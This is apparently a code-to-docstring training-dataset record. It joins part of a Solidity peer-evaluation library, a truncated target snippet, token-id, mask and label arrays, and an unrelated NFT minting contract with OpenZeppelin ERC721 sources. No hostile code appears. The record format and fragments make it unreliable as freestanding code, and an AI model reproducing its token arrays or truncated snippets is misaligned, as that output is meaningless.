/// @return the rounded value
function floor(uint x) view public returns (uint){
return (x/C)*C;
}
/// @notice returns the nearest integer to a number, using scaling by C
/// @param x the value to be rounded
/// @return the rounded value
function round(uint x) view public returns (uint){
if (x-floor(x) < C/2){
return floor(x);
}else{
return ceil(x);
}
}
/// @notice produces a range of n values, from 0 to n-1
/// @param upper the number values to produce
/// @return a list of integer values, from 0 to upper-1
function range(uint upper) public returns (uint[] memory) {
uint[] memory a = new uint[](upper);
for (uint i=0;i<upper;i++){
a[i] = i;
}
return a;
}
//Sorting functions
/// @notice sorts a list of values in ascending order
/// @param data the list of values to order
/// @return the ordered values with the corresponding ordered indices
/// base implementation provided by https://gist.github.com/subhodi/b3b86cc13ad2636420963e692a4d896f
function sort(uint[] memory data) public returns(Element[] memory) {
Element[] memory dataElements = new Element[](data.length);
for (uint i=0; i<data.length; i++){
dataElements[i] = Element(i, data[i]);
}
quickSort(dataElements, int(0), int(dataElements.length - 1));
return dataElements;
}
/// @notice implements sorting using quicksort algorithm
/// @param arr the list of elements to order
/// @param left the starting index of the subset of values ordered
/// @param right the final index of the subset of values ordered
/// base implementation provided by https://gist.github.com/subhodi/b3b86cc13ad2636420963e692a4d896f
function quickSort(Element[] memory arr, int left, int right) internal{
int i = left;
int j = right;
if(i==j) return;
uint pivot = arr[uint(left + (right - left) / 2)].value;
while (i <= j) {
while (arr[uint(i)].value < pivot) i++;
while (pivot < arr[uint(j)].value) j--;
if (i <= j) {
(arr[uint(i)], arr[uint(j)]) = (arr[uint(j)], arr[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(arr, left, j);
if (i < right)
quickSort(arr, i, right);
}
}
/// @title Set containing proposals
/// @author Giovanni Rescinito
/// @notice proposals submitted by agents, along with the corresponding assignment and commitment
library Proposals{
//Data Structures
/// @notice Data structure related to a single proposal
struct Proposal {
bytes work; // work submitted
uint[] assignment; // assignment associated to the proposal
bytes32 commitment; // commitment associated to the proposal
uint[] evaluations; // evaluations associated to the proposal
}
/// @notice Set data structure containing proposals
struct Set {
Proposal[] elements; // list of the proposals submitted
mapping (bytes32 => uint) idx; // maps the proposal to the index in the list
}
//Events
event ProposalSubmitted(bytes32 hashed);
event ProposalsUpdate(Proposal[] e);
event Committed(uint tokenId, bytes32 commitment);
event Revealed(bytes32 commitment,uint randomness, uint[] assignments, uint[] evaluations, uint tokenId);
/// @notice checks that the index corresponds to an existing value in the set
/// @param s the set to check
/// @param index the index to check
modifier checkIndex(Set storage s, uint index) {
require(index >= 0 && index < s.elements.length, "Set out of bounds");
_;
}
//Utility
/// @notice returns the number of proposals submitted
/// @param s set containing proposals
/// @return the length of the list contained in the set
function length(Set storage s) public returns (uint) {
return s.elements.length;
}
/// @notice hashes the work submitted to obtain the index of the set
/// @param work the work to be hashed
/// @return the keccak256 hash of the work
function encodeWork(bytes memory work) public returns (bytes32){
return keccak256(abi.encodePacked(work));
}
//Setters
/// @notice stores a proposal in the set
/// @param s set containing proposals
/// @param work the work submitted
/// @return the proposal created from the work
function propose(Set storage s, bytes memory work) public returns (Proposal memory){
bytes32 h = encodeWork(work);
uint index = s.idx[h];
require(index == 0, "Work already proposed");
Proposal memory p = Proposal(work,new uint[](0), 0x0,new uint[](0));
s.elements.push(p);
s.idx[h] = s.elements.length;
emit ProposalSubmitted(h);
return p;
}
/// @notice updates the assignment in the set given a specific index
/// @param s set containing proposals
/// @param index index in the list of elements of the set to update
/// @param assignment the assignment to be stored
function updateAssignment(Set storage s, uint index, uint[] memory assignment) public checkIndex(s, index) {
s.elements[index].assignment = assignment;
}
/// @notice stores the commitment in the proposal considered
/// @param s set containing proposals
/// @param tokenId token associated to the proposal for which the evaluations' commitment should be stored
/// @param com the commitment to save
function setCommitment(Set storage s, uint tokenId, bytes32 com) public checkIndex(s, tokenId - 1){
s.elements[tokenId - 1].commitment = com;
emit Committed(tokenId, com);
}
/// @notice stores the evaluations related to the proposal considered
/// @param s set containing proposals
/// @param tokenId token associated to the proposal for which the evaluations should be stored
/// @param assignments the assignment considered
/// @param evaluations the evaluations proposed
function setEvaluations(Set storage s, uint tokenId, uint[] memory assignments, uint[] memory evaluations) public checkIndex(s, tokenId - 1){
require(assignments.length == evaluations.length, "Incoherent dimensions between assignments and evaluations");
Proposal storage p = s.elements[tokenId - 1];
p.assignment = assignments;
p.evaluations = new uint[](assignments.length);
for (uint i=0; i<assignments.length;i++){
p.evaluations[i] = evaluations[i];
}
emit ProposalsUpdate(s.elements);
}
//Getters
/// @param s set containing proposals
/// @return the list of proposals stored in the set
function getProposals(Set storage s) public returns (Proposal[]memory) {
return s.elements;
}
/// @param p proposal considered
/// @return the assignment associated to the proposal
function getAssignment(Proposal memory p) public returns (uint[] memory) {
return p.assignment;
}
/// @param p proposal considered
/// @return the work associated to the proposal
function getWork(Proposal memory p) public returns (bytes memory) {
return p.work;
}
/// @param p proposal considered
/// @return the commitment associated to the proposal
function getCommitment(Proposal memory p) public returns (bytes32){
return p.commitment;
}
/// @param p proposal considered
/// @return the evaluations associated to the proposal
function getEvaluations(Proposal memory p) public returns (uint[] memory){
return p.evaluations;
}
/// @param s set containing proposals
/// @param p proposal considered
/// @return the index associated to the proposal
function getId(Set storage s, Proposal memory p) public returns (uint){
return s.idx[encodeWork(p.work)];
}
/// @param s set containing proposals
/// @param index the index in the list of proposals
/// @return the proposal associated to the index in the list
function getProposalAt(Set storage s, uint index) public checkIndex(s, index) returns (Proposal memory) {
return s.elements[index];
}
/// @param s set containing proposals
/// @param tokenId the token associated to the proposal
/// @return the proposal associated to the token provided
function getProposalByToken(Set storage s, uint tokenId) public returns (Proposal memory){
return getProposalAt(s, tokenId - 1);
}
}
/// @title Dictionary storing allocations
/// @author Giovanni Rescinito
/// @notice Data structure implemented as an iterable map, produced during the apportionment algorithm to store allocations
library Allocations {
//Data Structures
/// @notice Data structure related to a single allocation
struct Allocation {
uint[] shares; // winners per cluster
uint p; // probability of the allocation
}
/// @notice Dictionary containing allocations
struct Map {
Allocation[] elements; // list of allocations
mapping (bytes32 => uint) idx; // maps key to index in the list
}
//Events
event AllocationsGenerated (Allocation[] allocations);
event AllocationSelected(uint[] allocation);
//Setters
/// @notice creates a new allocation or updates the probability of an existing one
/// @param map dictionary containing allocations
/// @param a winners per cluster to insert/modify
/// @param p probability of the specific allocation
function setAllocation(Map storage map, uint[] memory a, uint p) public {
bytes32 h = keccak256(abi.encodePacked(a));
uint index = map.idx[h];
if (index == 0) {
map.elements.push(Allocation(a, p));
map.idx[h] = map.elements.length;
}else {
map.elements[index - 1].p = p;
}
}
/// @notice updates the winners per cluster of an allocation specified by its index
/// @param map dictionary containing allocations
/// @param index index of the allocation to modify
/// @param shares winners per cluster to update
function updateShares(Map storage map, Allocation memory a, uint[] memory shares) public {
bytes32 h = keccak256(abi.encodePacked(a.shares));
uint index = map.idx[h];
require(index != 0, "Allocation not present");
map.elements[index - 1].shares = shares;
}
//Getters
/// @param map dictionary containing allocations
/// @return the list of allocations stored
function getAllocations(Map storage map) public returns (Allocation[]memory) {
return map.elements;
}
/// @param a allocation for which the probability is required
/// @return the probability associated to the allocation
function getP(Allocation memory a) public returns (uint) {
return a.p;
}
/// @param a allocation for which the winners per cluster are required
/// @return the winners per cluster associated to the allocation
function getShares(Allocation memory a) public returns (uint[] memory) {
return a.shares;
}
/// @param map dictionary containing allocations
/// @param index allocation for which the probability is required
/// @return the allocation stored at a specified index
function getAllocationAt(Map storage map, uint index) public returns (Allocation memory) {
require(index >= 0 && index < map.elements.length, "Map out of bounds");
return map.elements[index];
}
/// @param a allocation from which the winners per cluster are needed
/// @param index cluster to select
/// @return the number of winners in a specified allocation for a fixed cluster
function getValueInAllocation(Allocation memory a, uint index) public returns (uint) {
require(index >= 0 && index < a.shares.length, "Allocation out of bounds");
return a.shares[index];
}
} | @notice Dictionary containing allocations | struct Map {
}
event AllocationSelected(uint[] allocation);
| 5,422,523 | [
1,
10905,
4191,
23804,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
1635,
288,
203,
565,
289,
203,
203,
565,
871,
24242,
7416,
12,
11890,
8526,
13481,
1769,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
/**
* @title Lit Project Two
* @author Transient Labs, Copyright (C) 2021
* @notice ERC721 smart contract with single owner, Merkle whitelist, and royalty info per EIP 2981.
*/
/*
####### #
# ##### ## # # #### # ###### # # ##### # ## ##### ####
# # # # # ## # # # # ## # # # # # # # #
# # # # # # # # #### # ##### # # # # # # # ##### ####
# ##### ###### # # # # # # # # # # # ###### # # #
# # # # # # ## # # # # # ## # # # # # # # #
# # # # # # # #### # ###### # # # ####### # # ##### ####
0101010011100101100000110111011100101101000110010011011101110100 01001100110000011000101110011
*/
pragma solidity ^0.8.0;
import "ERC721.sol";
import "Ownable.sol";
import "Counters.sol";
import "MerkleProof.sol";
import "EIP2981.sol";
contract LITProjectTwo is EIP2981, ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _nextTokenId;
uint256 private _mintStartTimestamp;
string private _baseTokenURI;
mapping(address => uint256) public mintNum;
uint256 public supply = 4620;
bool public mintOpen;
uint256 public mintPrice = 0.068 ether;
bytes32 public immutable merkleRoot;
/**
* @notice constructor for this contract
* @dev increments _nextTokenId so the first mint isn't more expensive
* @param root is the merkle root
* @param addr is the royalty payout address
* @param perc is the royalty payout percentage
*/
constructor(bytes32 root, address addr, uint256 perc) EIP2981(addr, perc) ERC721("LIT Project Two", "LP2") Ownable() {
merkleRoot = root;
_nextTokenId.increment();
}
/**
* @notice overrides EIP721 and EIP2981 supportsInterface function
* @param interfaceId is supplied from anyone/contract calling this function, as defined in ERC 165
* @return a boolean saying if this contract supports the interface or not
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, EIP2981) returns (bool) {
return super.supportsInterface(interfaceId);
}
/**
* @notice function to view total supply
* @return uint256 with supply
*/
function totalSupply() public view returns(uint256) {
return supply;
}
/**
* @notice function to get next mint token id
* @return uint256 with number of next token id
*/
function getNextTokenId() public view returns(uint256) {
return _nextTokenId.current();
}
/**
* @notice sets the baseURI for the ERC721 tokens
* @dev requires owner
* @param uri is the base URI set for each token
*/
function setBaseURI(string memory uri) public onlyOwner {
_baseTokenURI = uri;
}
/**
* @notice override standard ERC721 base URI
* @dev doesn't require access control since it's internal
* @return string representing base URI
*/
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
/**
* @notice function to set the mint status
* @dev sets the timestamp for mint, if it hasn't been set yet
* @param status is the true/false flag for the mint status
*/
function setMintStatus(bool status) public onlyOwner {
mintOpen = status;
if (mintOpen && _mintStartTimestamp == 0) {
_mintStartTimestamp = block.timestamp;
}
}
/**
* @notice whitelist mint function
* @dev requires mint to be open
* @dev requires merkle proof to be valid
* @dev requires mint price to be met
* @dev requires that the message sender hasn't already minted more than allowed at the time of the transaction
* @param merkleProof is the proof provided by the minting site
*/
function whitelistMint(bytes32[] calldata merkleProof) public payable {
require(mintOpen, "Mint Not Open");
require(_nextTokenId.current() <= supply, "Total Supply Reached");
require(msg.value >= mintPrice, "Not Enough Ether");
require(mintNum[msg.sender] < getMintAllowance(), "Reached Mint Limit");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), "Not In Whitelist");
_safeMint(msg.sender, _nextTokenId.current());
_nextTokenId.increment();
mintNum[msg.sender]++;
}
/**
* @notice function to calculate number of allowed mints per wallet
* @dev 1 mint in the first 48hrs, then 25 total allowed after that
* @return uint256 value for number of mints allowed per wallet
*/
function getMintAllowance() public view returns(uint256) {
return block.timestamp - _mintStartTimestamp < 48*3600 ? 1 : 25;
}
/**
* @notice owner mint function
* @dev mints to the contract owner wallet
* @dev requires ownership of the contract
* @dev minted pieces can be used for disputes or donated to the DAO
* @param num is the number of mints to perform
*/
function mint(uint256 num) public onlyOwner {
for (uint256 i = 0; i < num; i++) {
if (_nextTokenId.current() > supply) {
break;
}
_safeMint(msg.sender, _nextTokenId.current());
_nextTokenId.increment();
}
}
/**
* @notice function to withdraw minting ether from the contract
* @dev requires owner to call
*/
function withdrawEther() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* @notice function to update the royalty payout address
* @dev ownable
* @param addr is the new payout address
*/
function updateRoyaltyAddress(address addr) public onlyOwner {
require(addr != address(0), "Royalty address cannot be the zero address");
royaltyAddr = addr;
}
/**
* @notice burn function for owners to use at their discretion
* @dev requires the msg sender to be the owner or an approved delegate
* @param tokenId is the token ID to burn
*/
function burn(uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId), "Not Approved or Owner");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
